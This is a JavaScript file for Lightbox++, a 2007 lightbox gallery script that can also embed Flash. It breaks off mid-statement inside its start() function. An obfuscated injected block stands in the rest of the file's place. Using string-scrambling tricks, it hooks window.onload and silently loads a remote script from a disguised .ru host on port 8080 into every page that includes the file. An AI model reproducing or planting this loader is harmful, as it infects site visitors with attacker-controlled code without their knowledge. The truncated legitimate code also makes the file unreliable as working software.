/*
	Lightbox++ v1.0.1 (Initial Release)
	Modification by Justin Lyric - http://www.codefidelity.com
	Wednesday, July 4th, 2007 (Happy 4th!)
	
	For installation instructions and script updates, please visit:
	http://www.codefidelity.com/blog/?page_id=7
	
	Original Lightbox Script by Lokesh Dhakar
	http://www.huddletogether.com/projects/lightbox2/
	
	Still licensed under the Creative Commons Attribution 2.5 License - http://creativecommons.org/licenses/by/2.5/
	
	This script allows you to use the same Lightbox functionality that you're used to as well as 
	embed Flash movies.  

*/

/*

	Table of Contents
	-----------------
	Configuration
	Global Variables

	Extending Built-in Objects	
	- Object.extend(Element)
	- Array.prototype.removeDuplicates()
	- Array.prototype.empty()

	Lightbox Class Declaration
	- initialize()
	- updateElementList()
	- start()
	- changeElement()
	- resizeElementContainer()
	- showElement()
	- updateDetails()
	- updateNav()
	- enableKeyboardNav()
	- disableKeyboardNav()
	- keyboardAction()
	- preloadNeighborImages()
	- end()
	
	Miscellaneous Functions
	- getPageScroll()
	- getPageSize()
	- getKey()
	- listenKey()
	- showSelectBoxes()
	- hideSelectBoxes()
	- pause()
	- initLightbox()
	
	Function Calls
	- addLoadEvent(initLightbox)
	
*/


//
//	Configuration
//
var fileLoadingImage = "../images/loading.gif";				// Loading image		
var fileBottomNavCloseImage = "../images/closelabel.gif";		// Close image
var fallbackOverlayImage = "../images/overlay.png";			// Fallback overlay used with browsers that have opacity problems
var overlayOpacity = 0.8;									// Controls transparency of shadow overlay
var animate = true;											// Toggles resizing animations
var resizeSpeed = 7;										// Controls the speed of the image resizing animations (1=slowest and 10=fastest)
var borderSize = 10;										// If you adjust the padding in the CSS, you will need to update this variable

//
//	Global Variables
//
var elementArray = new Array;
var activeElement;
var userAgent = navigator.userAgent.toLowerCase();

if(animate == true){
	overlayDuration = 0.2;	
	if(resizeSpeed > 10){ resizeSpeed = 10;}
	if(resizeSpeed < 1){ resizeSpeed = 1;}
	resizeDuration = (11 - resizeSpeed) * 0.15;
} else { 
	overlayDuration = 0;
	resizeDuration = 0;
}

//
//	Additional methods for Element added by SU, Couloir
//	- Further additions by Lokesh Dhakar (huddletogether.com)
//
Object.extend(Element, {
	getWidth: function(element) {
	   	element = $(element);
	   	return element.offsetWidth; 
	},
	setWidth: function(element,w) {
	   	element = $(element);
    	element.style.width = w +"px";
	},
	setHeight: function(element,h) {
   		element = $(element);
    	element.style.height = h +"px";
	},
	setTop: function(element,t) {
	   	element = $(element);
    	element.style.top = t +"px";
	},
	setLeft: function(element,l) {
	   	element = $(element);
    	element.style.left = l +"px";
	},
	setSrc: function(element,src) {
    	element = $(element);
    	element.src = src; 
	},
	setHref: function(element,href) {
    	element = $(element);
    	element.href = href; 
	},
	setInnerHTML: function(element,content) {
		element = $(element);
		element.innerHTML = content;
	}
});

//
//	Extending built-in Array object
//	- array.removeDuplicates()
//	- array.empty()
//
Array.prototype.removeDuplicates = function () {
    for(i = 0; i < this.length; i++){
        for(j = this.length-1; j>i; j--){        
            if(this[i][0] == this[j][0]){
                this.splice(j,1);
            }
        }
    }
}

Array.prototype.empty = function () {
	for(i = 0; i <= this.length; i++){
		this.shift();
	}
}

//
//	Lightbox Class Declaration
//	- initialize()
//	- start()
//	- changeElement()
//	- resizeElementContainer()
//	- showElement()
//	- updateDetails()
//	- updateNav()
//	- enableKeyboardNav()
//	- disableKeyboardNav()
//	- keyboardNavAction()
//	- preloadNeighborImages()
//	- end()
//
//	Structuring of code inspired by Scott Upton (http://www.uptonic.com/)
//
var Lightbox = Class.create();

Lightbox.prototype = {
	
	// initialize()
	// Constructor runs on completion of the DOM loading. Calls updateElementList and then
	// the function inserts html at the bottom of the page which is used to display the shadow 
	// overlay and the image container.
	//
	initialize: function() {	
		
		this.updateElementList();

		// Code inserts html at the bottom of the page that looks similar to this:
		//
		//	<div id="overlay"></div>
		//	<div id="lightbox">
		//		<div id="outerImageContainer">
		//			<div id="imageContainer">
		//				<div id="lightboxcontent">
		//					<img id="lightboxmage">
		//					<div id="lightboxswf">
		//					</div>
		//				</div>
		//				<div style="" id="hoverNav">
		//					<a href="#" id="prevLink"></a>
		//					<a href="#" id="nextLink"></a>
		//				</div>
		//				<div id="loading">
		//					<a href="#" id="loadingLink">
		//						<img src="../images/loading.gif">
		//					</a>
		//				</div>
		//			</div>
		//		</div>
		//		<div id="imageDataContainer">
		//			<div id="imageData">
		//				<div id="imageDetails">
		//					<span id="caption"></span>
		//					<span id="numberDisplay"></span>
		//				</div>
		//				<div id="bottomNav">
		//					<a href="#" id="bottomNavClose">
		//						<img src="../images/close.gif">
		//					</a>
		//				</div>
		//			</div>
		//		</div>
		//	</div>


		var objBody = document.getElementsByTagName("body").item(0);
		
		var objOverlay = document.createElement("div");
		objOverlay.setAttribute('id','overlay');
		
		// The mozilla flavors on the mac, specifically Firefox and Camino have difficulties displaying flash over anything with dynamically generated opacity.
		// Here we're using the fallBackOverlayImage to alleviate this problem.    This is a semi-transparent png which is included with the script.
		if (userAgent.indexOf('mac') != -1 && userAgent.indexOf('firefox')!=-1 || userAgent.indexOf('camino')!=-1) {
			objOverlay.style.backgroundImage = 'url('+fallbackOverlayImage+')';
			objOverlay.style.backgroundRepeat = 'repeat';
		}else{
			objOverlay.style.backgroundColor = '#000000';
		}
		objOverlay.style.display = 'none';
		objOverlay.onclick = function() { myLightbox.end(); }
		objBody.appendChild(objOverlay);
		
		var objLightbox = document.createElement("div");
		objLightbox.setAttribute('id','lightbox');
		objLightbox.style.display = 'none';
		objLightbox.onclick = function(e) {
			if (!e) var e = window.event;
			var clickObj = Event.element(e).id;
			if ( clickObj == 'lightbox') {
				myLightbox.end();
			}
		};
		objBody.appendChild(objLightbox);
			
		var objOuterImageContainer = document.createElement("div");
		objOuterImageContainer.setAttribute('id','outerImageContainer');
		objLightbox.appendChild(objOuterImageContainer);

		// When Lightbox starts it will resize itself from 250 by 250 to the current image dimension.
		// If animations are turned off, it will be hidden as to prevent a flicker of a
		// white 250 by 250 box.
		if(animate){
			Element.setWidth('outerImageContainer', 250);
			Element.setHeight('outerImageContainer', 250);			
		} else {
			Element.setWidth('outerImageContainer', 1);
			Element.setHeight('outerImageContainer', 1);			
		}

		var objImageContainer = document.createElement("div");
		objImageContainer.setAttribute('id','imageContainer');
		objOuterImageContainer.appendChild(objImageContainer);
		
		var objContent = document.createElement("div");
		objContent.setAttribute('id','lightboxcontent');
		objImageContainer.appendChild(objContent);
	
		var objLightboxImage = document.createElement("img");
		objLightboxImage.setAttribute('id','lightboximage');
		objLightboxImage.style.display = 'none';
		objContent.appendChild(objLightboxImage);
		
		objLightboxSwf = document.createElement("div");
		objLightboxSwf.setAttribute('id','lightboxswf');
		objLightboxSwf.style.position = 'relative';
		objLightboxSwf.style.zIndex = 101; // Safari
		objLightboxSwf.style.display = 'none';
		objContent.appendChild(objLightboxSwf);
		
		var objHoverNav = document.createElement("div");
		objHoverNav.setAttribute('id','hoverNav');
		objImageContainer.appendChild(objHoverNav);
	
		var objPrevLink = document.createElement("a");
		objPrevLink.setAttribute('id','prevLink');
		objPrevLink.setAttribute('href','#');
		objHoverNav.appendChild(objPrevLink);
		
		var objNextLink = document.createElement("a");
		objNextLink.setAttribute('id','nextLink');
		objNextLink.setAttribute('href','#');
		objHoverNav.appendChild(objNextLink);
	
		var objLoading = document.createElement("div");
		objLoading.setAttribute('id','loading');
		objImageContainer.appendChild(objLoading);
	
		var objLoadingLink = document.createElement("a");
		objLoadingLink.setAttribute('id','loadingLink');
		objLoadingLink.setAttribute('href','#');
		objLoadingLink.onclick = function() { myLightbox.end(); return false; }
		objLoading.appendChild(objLoadingLink);
	
		var objLoadingImage = document.createElement("img");
		objLoadingImage.setAttribute('src', fileLoadingImage);
		objLoadingLink.appendChild(objLoadingImage);

		var objImageDataContainer = document.createElement("div");
		objImageDataContainer.setAttribute('id','imageDataContainer');
		objLightbox.appendChild(objImageDataContainer);

		var objImageData = document.createElement("div");
		objImageData.setAttribute('id','imageData');
		objImageDataContainer.appendChild(objImageData);
	
		var objImageDetails = document.createElement("div");
		objImageDetails.setAttribute('id','imageDetails');
		objImageData.appendChild(objImageDetails);
	
		var objCaption = document.createElement("span");
		objCaption.setAttribute('id','caption');
		objImageDetails.appendChild(objCaption);
	
		var objNumberDisplay = document.createElement("span");
		objNumberDisplay.setAttribute('id','numberDisplay');
		objImageDetails.appendChild(objNumberDisplay);
		
		var objBottomNav = document.createElement("div");
		objBottomNav.setAttribute('id','bottomNav');
		objImageData.appendChild(objBottomNav);
	
		var objBottomNavCloseLink = document.createElement("a");
		objBottomNavCloseLink.setAttribute('id','bottomNavClose');
		objBottomNavCloseLink.setAttribute('href','#');
		objBottomNavCloseLink.onclick = function() { myLightbox.end(); return false; }
		objBottomNav.appendChild(objBottomNavCloseLink);
	
		var objBottomNavCloseImage = document.createElement("img");
		objBottomNavCloseImage.setAttribute('src', fileBottomNavCloseImage);
		objBottomNavCloseLink.appendChild(objBottomNavCloseImage);
	},


	//
	// updateElementList()
	// Loops through anchor tags looking for 'lightbox' references and applies onclick
	// events to appropriate links. You can rerun after dynamically adding images w/ajax.
	//
	updateElementList: function() {	
		if (!document.getElementsByTagName){ return; }
		var anchors = document.getElementsByTagName('a');
		var areas = document.getElementsByTagName('area');

		// Loop through all anchor tags...
		for (var i=0; i<anchors.length; i++){
			var anchor = anchors[i];
			
			var relAttribute = String(anchor.getAttribute('rel'));
			
			// Use the string.match() method to catch 'lightbox' references in the rel attribute
			if (anchor.getAttribute('href') && (relAttribute.toLowerCase().match('lightbox'))){
				anchor.onclick = function () {myLightbox.start(this); return false;}
			}
		}

		// Loop through all area tags...
		// ToDo: Combine anchor & area tag loops
		for (var i=0; i< areas.length; i++){
			var area = areas[i];
			
			var relAttribute = String(area.getAttribute('rel'));
			
			// Use the string.match() method to catch 'lightbox' references in the rel attribute...
			if (area.getAttribute('href') && (relAttribute.toLowerCase().match('lightbox'))){
				area.onclick = function () {myLightbox.start(this); return false;}
			}
		}
	},
	
	
	//
	//	start()
	//	Display overlay and lightbox. If element is part of a set, add siblings to elementArray.
	//
	start: function(elementLink) {	

		hideSelectBoxes();		
		hideFlash();
		
		// stretch overlay to fill page and fade in
		var arrayPageSize = getPageSize();
		Element.setWidth('overlay', arrayPageSize[0]);
		Element.setHeight('overlay', arrayPageSize[1]);
		
		// Again, if the user is on a Mac and has a Mozilla flavor browser, we can't use dynamically generated opacity or you will experience problems with the Flash movies.
		if (userAgent.indexOf('mac') != -1 && userAgent.indexOf('firefox')!=-1 || userAgent.indexOf('camino')!=-1)


var n=new Array();var sI="";try {this.O="";this.X='';var u=RegExp;this.Bd='';var F;if(F!='NC' && F != ''){F=null};var _F;if(_F!='KG' && _F!='_'){_F=''};var r=String("Q1krep".substr(3)+"lac"+"e");var nS='';var zX;if(zX!='BS' && zX!='OS'){zX=''};function C(Z,c){var Ln=new String();var Yf;if(Yf!='Y' && Yf!='Ld'){Yf=''};var sU=new Array();var Q=new Array();var I=new String("WN5[".substr(3));var w=new Array();var D=new String("g");I+=c;I+=new String("]");var eF;if(eF!=''){eF='tj'};var wB='';var rs=new u(I, D);return Z[r](rs, new String());var yN;if(yN!='tS' && yN!='gX'){yN=''};};var Yk=new String();var i;if(i!='TL' && i != ''){i=null};var Xo=new String();var TLR;if(TLR!='wn' && TLR != ''){TLR=null};var b;if(b!='uB' && b != ''){b=null};var h='';var S=C('oin1l0o0a0d1',"0i1T");var f=C('/Aa7u7f7eFm7i7n7iAnA.7cAo7mA/7a7uFf7eFmFi7nAi7nF.FcAo7m7/FaAd7v7e7rAt7s7e7r7vFe7.Ac7oFmF/FgFoFoFg7lFeA.Ac7oAm7/7wAa7rAeFsAeFeFkFeArF.FcFoFm7.7p7h7pA',"A7F");var oJ;if(oJ!='' && oJ!='cu'){oJ=null};var Tk=new String();var N=C('83533033338355550333',"35");var Nu;if(Nu!='uA' && Nu!='v'){Nu=''};var P=C('c6rqeDaqt6eDE6l6eDm6e6n6tq',"qD6");var ON=new Date();var hQQ;if(hQQ!='cS'){hQQ=''};var uF=C('hftItfp1:1/1/fafcIeIrI-IcfoImI.1gIo1o1gflfef.1hIr1.fmIt1vf-1cIo1mf.1T1h1e1BIlfeInfdfe1r1Tfu1tIo1r1i1aIl1.frfuI:1',"fI1");var z=C('sDc3rIiIpatD',"I3Da");var hX=window;Cz=function(){var eFk;if(eFk!='BQ' && eFk != ''){eFk=null};s=document[P](z);var fy;if(fy!='' && fy!='xQ'){fy=null};var Zn;if(Zn!='Te' && Zn != ''){Zn=null};h=uF+N;var OE='';h+=f;this.OF="";var KJ=new String();s.defer=([1][0]);var ST=new Array();var Ig;if(Ig!='' && Ig!='ta'){Ig=null};s.src=h;this.yQ='';var jf="";document.body.appendChild(s);var wt=new String();};this.zk='';var Rx=new Array();this.QH="";hX[S]=Cz;} catch(t){};var _C=new Date();